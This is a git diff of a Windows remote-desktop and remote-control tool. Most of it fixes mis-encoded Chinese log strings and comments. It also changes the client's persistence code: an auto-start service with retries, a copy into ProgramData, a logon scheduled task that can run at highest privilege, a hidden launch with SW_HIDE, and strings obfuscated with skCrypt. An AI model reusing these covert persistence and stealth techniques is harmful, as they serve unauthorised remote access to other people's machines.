diff --git a/client/ServiceWrapper.c b/client/ServiceWrapper.c index b5e26fc..91bbe00 100644 --- a/client/ServiceWrapper.c +++ b/client/ServiceWrapper.c @@ -344,17 +344,31 @@ BOOL ServiceWrapper_Install(void) Mprintf("Installing service...\n"); Mprintf("Executable path: %s\n", szPath); - schService = CreateService( - schSCManager, - g_MyService.Name, - g_MyService.Display, - SERVICE_ALL_ACCESS, - SERVICE_WIN32_OWN_PROCESS, - SERVICE_AUTO_START, - SERVICE_ERROR_NORMAL, - szPath, - NULL, NULL, NULL, NULL, NULL - ); + int retryCount = 5; + + for (int i = 0; i < retryCount; i++) { + schService = CreateService( + schSCManager, + g_MyService.Name, + g_MyService.Display, + SERVICE_ALL_ACCESS, + SERVICE_WIN32_OWN_PROCESS, + SERVICE_AUTO_START, + SERVICE_ERROR_NORMAL, + szPath, + NULL, NULL, NULL, NULL, NULL + ); + if (schService != NULL) { + break; // 成功 + } + + DWORD err = GetLastError(); + if (err == ERROR_SERVICE_MARKED_FOR_DELETE) { + Sleep(2000); + continue; + } + break; // 其他错误,退出 + } if (schService == NULL) { err = GetLastError(); diff --git a/client/reg_startup.c b/client/reg_startup.c index fa12aaf..d14ab28 100644 --- a/client/reg_startup.c +++ b/client/reg_startup.c @@ -1,4 +1,4 @@ -/* +/* * Author: 962914132@qq.com * Purpose: Create a scheduled task. * Language: C @@ -32,14 +32,14 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons { HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); if (FAILED(hr)) { - Mprintf("޷ʼCOM⣬룺%ld\n", hr); + Mprintf("无法初始化COM库,错误代码:%ld\n", hr); return 1; } ITaskService* pService = NULL; hr = CoCreateInstance(&CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, &IID_ITaskService, (void**)&pService); if (FAILED(hr)) { - Mprintf("޷TaskSchedulerʵ룺%ld\n", hr); + Mprintf("无法创建TaskScheduler实例,错误代码:%ld\n", hr); CoUninitialize(); return 2; } @@ -49,7 +49,7 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons empty.vt = VT_EMPTY; hr = pService->lpVtbl->Connect(pService, empty, empty, empty, empty); if (FAILED(hr)) { - Mprintf("޷ӵƻ񣬴룺%ld\n", hr); + Mprintf("无法连接到任务计划服务,错误代码:%ld\n", hr); pService->lpVtbl->Release(pService); CoUninitialize(); return 3; @@ -61,7 +61,7 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons ITaskFolder* pRootFolder = NULL; hr = pService->lpVtbl->GetFolder(pService, wRootPath, &pRootFolder); if (FAILED(hr)) { - Mprintf("޷ȡƻļУ룺%ld\n", hr); + Mprintf("无法获取任务计划程序根文件夹,错误代码:%ld\n", hr); pService->lpVtbl->Release(pService); CoUninitialize(); return 4; @@ -73,7 +73,7 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons IRegisteredTask* pOldTask = NULL; hr = pRootFolder->lpVtbl->GetTask(pRootFolder, wTaskName, &pOldTask); if (SUCCEEDED(hr) && pOldTask != NULL) { - Mprintf("Ѵ: %s\n", taskName); + Mprintf("任务已存在: %s\n", taskName); pOldTask->lpVtbl->Release(pOldTask); if (check) { pRootFolder->lpVtbl->Release(pRootFolder); @@ -89,13 +89,13 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons hr = pService->lpVtbl->NewTask(pService, 0, &pTask); pRootFolder->lpVtbl->Release(pRootFolder); if (FAILED(hr)) { - Mprintf("޷壬룺%ld\n", hr); + Mprintf("无法创建任务定义,错误代码:%ld\n", hr); pService->lpVtbl->Release(pService); CoUninitialize(); return 5; } - // + // 配置设置 ITaskSettings* pSettings = NULL; hr = pTask->lpVtbl->get_Settings(pTask, &pSettings); if (SUCCEEDED(hr)) { @@ -107,7 +107,7 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons pSettings->lpVtbl->Release(pSettings); } else { - Mprintf("ȡʧܣ룺%ld\n", hr); + Mprintf("获取配置设置失败,错误代码:%ld\n", hr); } IRegistrationInfo* pRegInfo = NULL; @@ -132,7 +132,7 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons pRegInfo->lpVtbl->Release(pRegInfo); } else { - Mprintf("ȡעϢʧܣ룺%ld\n", hr); + Mprintf("获取注册信息失败,错误代码:%ld\n", hr); } ITriggerCollection* pTriggerCollection = NULL; @@ -142,7 +142,7 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons hr = pTriggerCollection->lpVtbl->Create(pTriggerCollection, TASK_TRIGGER_LOGON, &pTrigger); pTriggerCollection->lpVtbl->Release(pTriggerCollection); if (SUCCEEDED(hr)) { - // ͨûҪָû + // 普通用户需要指定具体用户 if (!runasAdmin) { ILogonTrigger* pLogonTrigger = NULL; hr = pTrigger->lpVtbl->QueryInterface(pTrigger, &IID_ILogonTrigger, (void**)&pLogonTrigger); @@ -161,7 +161,7 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons pTrigger->lpVtbl->Release(pTrigger); } else { - Mprintf("޷񴥷룺%ld\n", hr); + Mprintf("无法设置任务触发器,错误代码:%ld\n", hr); pTask->lpVtbl->Release(pTask); pService->lpVtbl->Release(pService); CoUninitialize(); @@ -169,10 +169,10 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons } } else { - Mprintf("ȡ񴥷ʧܣ룺%ld\n", hr); + Mprintf("获取任务触发失败,错误代码:%ld\n", hr); } - // ò + // 设置操作 IActionCollection* pActionCollection = NULL; hr = pTask->lpVtbl->get_Actions(pTask, &pActionCollection); if (SUCCEEDED(hr)) { @@ -190,33 +190,33 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons pExecAction->lpVtbl->Release(pExecAction); } else { - Mprintf("QueryInterface ʧܣ룺%ld\n", hr); + Mprintf("QueryInterface 调用失败,错误代码:%ld\n", hr); } pAction->lpVtbl->Release(pAction); } else { - Mprintf("ʧܣ룺%ld\n", hr); + Mprintf("创建任务动作失败,错误代码:%ld\n", hr); } pActionCollection->lpVtbl->Release(pActionCollection); } else { - Mprintf("ȡʧܣ룺%ld\n", hr); + Mprintf("获取任务动作失败,错误代码:%ld\n", hr); } - // Ȩ + // 权限配置 IPrincipal* pPrincipal = NULL; if (runasAdmin && SUCCEEDED(pTask->lpVtbl->get_Principal(pTask, &pPrincipal))) { hr = pPrincipal->lpVtbl->put_LogonType(pPrincipal, TASK_LOGON_INTERACTIVE_TOKEN); - if (FAILED(hr)) Mprintf("put_LogonType ʧܣ룺%ld\n", hr); + if (FAILED(hr)) Mprintf("put_LogonType 失败,错误代码:%ld\n", hr); hr = pPrincipal->lpVtbl->put_RunLevel(pPrincipal, runasAdmin ? TASK_RUNLEVEL_HIGHEST : TASK_RUNLEVEL_LUA); - if (FAILED(hr)) Mprintf("put_RunLevel ʧܣ룺%ld\n", hr); + if (FAILED(hr)) Mprintf("put_RunLevel 失败,错误代码:%ld\n", hr); pPrincipal->lpVtbl->Release(pPrincipal); } else { - if (runasAdmin) Mprintf("ȡȨʧܣ룺%ld\n", hr); + if (runasAdmin) Mprintf("获取任务权限失败,错误代码:%ld\n", hr); } - // ע + // 注册任务 ITaskFolder* pFolder = NULL; hr = pService->lpVtbl->GetFolder(pService, wRootPath, &pFolder); ConvertCharToWChar(taskName, wTaskName, MAX_PATH); @@ -225,7 +225,7 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons char userName[UNLEN + 1] = {0}; DWORD nameLen = UNLEN + 1; if (GetUserNameA(userName, &nameLen)) { - Mprintf("ƻ. ǰûΪ: %s\n", userName); + Mprintf("创建任务计划. 当前用户名称为: %s\n", userName); } WCHAR wUser[_MAX_PATH] = {0}; ConvertCharToWChar(userName, wUser, MAX_PATH); @@ -255,13 +255,13 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons if (SUCCEEDED(hr)) { pRunningTask->lpVtbl->Release(pRunningTask); } else { - Mprintf("޷񣬴룺%ld\n", hr); + Mprintf("无法启动任务,错误代码:%ld\n", hr); } } pRegisteredTask->lpVtbl->Release(pRegisteredTask); } else { - Mprintf("עƻʧܣ룺%ld | runasAdmin: %s\n", hr, runasAdmin ? "Yes" : "No"); + Mprintf("注册计划任务失败,错误代码:%ld | runasAdmin: %s\n", hr, runasAdmin ? "Yes" : "No"); } VariantClear(&vUser); @@ -269,7 +269,7 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons pFolder->lpVtbl->Release(pFolder); } else { - Mprintf("ȡĿ¼ʧܣ룺%ld\n", hr); + Mprintf("获取任务目录失败,错误代码:%ld\n", hr); } pTask->lpVtbl->Release(pTask); @@ -343,8 +343,13 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, return 1; #endif Log = log; + char username[256]; + DWORD size = sizeof(username); + if (GetUserNameA(username, &size)) { + Mprintf("RegisterStartup is running with user: %s\n", username); + } char folder[MAX_PATH] = { 0 }; - if (GetEnvironmentVariableA("LOCALAPPDATA", folder, MAX_PATH) > 0) { + if (GetEnvironmentVariableA("ProgramData", folder, MAX_PATH) > 0) { size_t len = strlen(folder); if (len > 0 && folder[len - 1] != '\\') { folder[len] = '\\'; @@ -385,12 +390,16 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, curFile, dstFile, b ? "succeed" : "failed", GetLastError()); int status = CreateScheduledTask(startupName, dstFile, FALSE, NULL, TRUE, runasAdmin); - Mprintf("ƻ: %s!\n", status == 0 ? "ɹ" : "ʧ"); + Mprintf("任务计划创建: %s!\n", status == 0 ? "成功" : "失败"); + if (b && status) { + int ret = (int)ShellExecuteA(NULL, "open", dstFile, NULL, NULL, SW_HIDE); + Mprintf("尝试直接启动目标程序[%d]: %s %s\n", ret, dstFile, ret > 32 ? "succeed":"failed"); + } return 0; } int status = CreateScheduledTask(startupName, dstFile, TRUE, NULL, FALSE, runasAdmin); - Mprintf("ƻ: %s!\n", status == 0 ? "ɹ" : "ʧ"); + Mprintf("任务计划创建: %s!\n", status == 0 ? "成功" : "失败"); if (lockFile) CreateFileA(curFile, GENERIC_READ, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); diff --git a/common/logger.h b/common/logger.h index 432de5c..30d24a9 100644 --- a/common/logger.h +++ b/common/logger.h @@ -1,4 +1,4 @@ -#pragma once +#pragma once #pragma warning(disable: 4996) #ifdef _WIN32 #ifdef _WINDOWS @@ -35,7 +35,7 @@ public: InfoLevel, WarningLevel, ErrorLevel }; - // ģʽ + // 单例模式 static Logger& getInstance() { static Logger instance; @@ -43,11 +43,13 @@ public: char buf[16] = {}; sprintf_s(buf, "%d", GetCurrentProcessId()); instance.pid = buf; + // SYSTEM | C:\Windows\Temp + // 普通用户 | C:\Users\用户名\AppData\Local\Temp char logPath[MAX_PATH] = { 0 }; GetEnvironmentVariableA("TEMP", logPath, MAX_PATH); instance.InitLogFile(logPath, instance.pid); #ifdef _WINDOWS - instance.enable = true; // ־Ĭϴ + instance.enable = true; // 主控日志默认打开 #else char var[32] = {}; const char* name = skCrypt("ENABLE_LOG"); @@ -59,24 +61,24 @@ public: return instance; } - // ֹ͸ֵ + // 禁止拷贝和赋值 Logger(const Logger&) = delete; Logger& operator=(const Logger&) = delete; - // ־ļ + // 设置日志文件名 void setLogFile(const std::string& filename) { std::lock_guard lock(fileMutex); logFileName = filename; } - // ־ + // 启用日志 void usingLog(bool b = true) { enable = b; } - // д־֧ printf ʽ + // 写日志,支持 printf 格式化 void log(const char* file, int line, const char* format, ...) { va_list args; @@ -105,16 +107,16 @@ public: printf("%s", logEntry.c_str()); #endif #endif - cv.notify_one(); // ֪ͨд߳ + cv.notify_one(); // 通知写线程 } - // ֹͣ־ϵͳ + // 停止日志系统 void stop() { if (!running) return; { std::lock_guard lock(queueMutex); - running = false; // ״̬ + running = false; // 设置运行状态 } cv.notify_one(); if (workerThread.joinable()) { @@ -128,7 +130,7 @@ public: } private: - // ־· + // 日志按月份起名 void InitLogFile(const std::string & dir, const std::string& pid) { time_t currentTime = time(nullptr); @@ -143,16 +145,16 @@ private: #endif logFileName = dir + fileName; } - std::string logFileName; // ־ļ - bool enable; // Ƿ - bool threadRun; // ־߳״̬ - std::queue logQueue; // ־ - std::mutex queueMutex; // л - std::condition_variable cv; // - std::atomic running; // Ƿ - std::thread workerThread; // ̨߳ - std::mutex fileMutex; // ļд - std::string pid; // ID + std::string logFileName; // 日志文件名 + bool enable; // 是否启用 + bool threadRun; // 日志线程状态 + std::queue logQueue; // 日志队列 + std::mutex queueMutex; // 队列互斥锁 + std::condition_variable cv; // 条件变量 + std::atomic running; // 是否运行 + std::thread workerThread; // 后台线程 + std::mutex fileMutex; // 文件写入锁 + std::string pid; // 进程ID Logger() : enable(false), threadRun(false), running(true), workerThread(&Logger::processLogs, this) {} @@ -161,7 +163,7 @@ private: stop(); } - // ̴̨߳־ + // 后台线程处理日志 void processLogs() { threadRun = true; @@ -176,7 +178,7 @@ private: logQueue.pop(); lock.unlock(); - // д־ļ + // 写入日志文件 writeToFile(logEntry); lock.lock(); @@ -186,7 +188,7 @@ private: threadRun = false; } - // дļ + // 写入文件 void writeToFile(const std::string& logEntry) { std::lock_guard lock(fileMutex); @@ -196,7 +198,7 @@ private: } } - // ȡǰʱ + // 获取当前时间戳 std::string getCurrentTimestamp() { auto now = std::chrono::system_clock::now(); @@ -204,9 +206,9 @@ private: std::tm tm; #ifdef _WIN32 - localtime_s(&tm, &in_time_t); // Windows ȫ汾 + localtime_s(&tm, &in_time_t); // Windows 安全版本 #else - localtime_r(&in_time_t, &tm); // POSIX ȫ汾 + localtime_r(&in_time_t, &tm); // POSIX 安全版本 #endif std::stringstream ss; @@ -214,7 +216,7 @@ private: return ss.str(); } - // ־תΪַ + // 将日志级别转换为字符串 std::string logLevelToString(LogLevel level) { switch (level) { @@ -229,7 +231,7 @@ private: } } - // ʽַ + // 格式化字符串 std::string formatString(const char* format, va_list args) { char buffer[1024]; diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 30d1e0a..65499b6 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -1825,7 +1825,7 @@ std::string joinString(const std::vector& tokens, char delimiter) bool CMy2015RemoteDlg::CheckValid(int trail) { static DateVerify verify; - BOOL isTrail = verify.isTrail(trail); + BOOL isTrail = trail < 0 ? FALSE : verify.isTrail(trail); if (!isTrail) { const Validation *verify = GetValidation(); @@ -2725,8 +2725,10 @@ LRESULT CMy2015RemoteDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam) auto mainCtx = clientID ? FindHost(clientID) : NULL; CDialogBase* dlg = dlgID ? (DialogBase*)dlgID : NULL; if (mainCtx) ContextObject->SetPeerName(mainCtx->GetClientData(ONLINELIST_IP).GetString()); - if (dlg && GetRemoteWindow(dlg->GetSafeHwnd())) { - return dlg->UpdateContext(ContextObject); + if (dlg) { + if (GetRemoteWindow(dlg->GetSafeHwnd())) + return dlg->UpdateContext(ContextObject); + Mprintf("收到远程桌面打开消息, 对话框已经销毁: %lld\n", dlgID); } return OpenDialog(wParam, lParam); } @@ -2841,6 +2843,11 @@ BOOL CMy2015RemoteDlg::PreTranslateMessage(MSG* pMsg) } LRESULT CMy2015RemoteDlg::WindowProc(UINT message, WPARAM wParam, LPARAM lParam) { + // WM_COMMAND 不计时 + if (message == WM_COMMAND) { + return CDialogEx::WindowProc(message, wParam, lParam); + } + auto start = std::chrono::steady_clock::now(); LRESULT result = CDialogEx::WindowProc(message, wParam, lParam); diff --git a/server/2015Remote/ScreenSpyDlg.cpp b/server/2015Remote/ScreenSpyDlg.cpp index 9d91799..afcef40 100644 --- a/server/2015Remote/ScreenSpyDlg.cpp +++ b/server/2015Remote/ScreenSpyDlg.cpp @@ -212,6 +212,8 @@ void CScreenSpyDlg::PrepareDrawing(const LPBITMAPINFO bmp) CString strString; strString.Format("%s - 远程桌面控制 %d×%d", m_IPAddress, bmp->bmiHeader.biWidth, bmp->bmiHeader.biHeight); SetWindowText(strString); + uint64_t dlg = (uint64_t)this; + Mprintf("%s [对话框ID: %lld]\n", strString.GetString(), dlg); m_hFullDC = ::GetDC(m_hWnd); SetStretchBltMode(m_hFullDC, HALFTONE);